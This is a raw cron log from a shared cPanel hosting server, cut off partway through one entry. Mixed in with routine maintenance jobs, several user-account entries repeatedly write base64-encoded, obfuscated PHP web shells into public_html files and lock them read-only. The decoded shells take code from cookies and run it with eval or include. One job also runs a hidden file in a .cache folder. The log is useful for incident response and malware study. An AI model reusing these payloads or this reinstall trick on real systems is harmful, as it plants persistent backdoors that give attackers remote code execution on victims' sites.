Mar  1 09:39:01 medusa CROND[28984]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:39:01 medusa CROND[28987]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:39:01 medusa CROND[28988]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 09:39:01 medusa CROND[28990]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 09:40:01 medusa CROND[18316]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 09:40:01 medusa CROND[18323]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 09:40:01 medusa CROND[18452]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 09:40:01 medusa CROND[18454]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 09:40:01 medusa CROND[18455]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 09:40:01 medusa CROND[18456]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 09:40:01 medusa CROND[18457]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 09:40:01 medusa CROND[18460]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 09:40:01 medusa CROND[18465]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:40:01 medusa CROND[18466]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 09:40:01 medusa CROND[18467]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 09:40:01 medusa CROND[18484]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:40:01 medusa CROND[18485]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 09:40:01 medusa CROND[18483]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 09:40:01 medusa CROND[18486]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:40:01 medusa CROND[18488]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 09:40:01 medusa CROND[18490]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 09:40:01 medusa CROND[18487]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 09:40:01 medusa CROND[18494]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 09:40:01 medusa CROND[18470]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 09:40:01 medusa CROND[18496]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 09:40:01 medusa CROND[18493]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 09:40:01 medusa CROND[18489]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 09:40:01 medusa CROND[18491]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 09:40:01 medusa CROND[18513]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 09:40:01 medusa CROND[18515]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:40:01 medusa CROND[18517]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 09:40:01 medusa CROND[18522]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 09:41:01 medusa CROND[8243]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 09:41:01 medusa CROND[8271]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 09:41:01 medusa CROND[8272]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 09:41:01 medusa CROND[8273]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 09:41:01 medusa CROND[8276]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 09:41:01 medusa CROND[8278]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 09:41:01 medusa CROND[8280]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 09:41:01 medusa CROND[8281]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 09:41:01 medusa CROND[8283]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 09:41:01 medusa CROND[8285]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:41:01 medusa CROND[8286]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 09:41:01 medusa CROND[8289]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgIC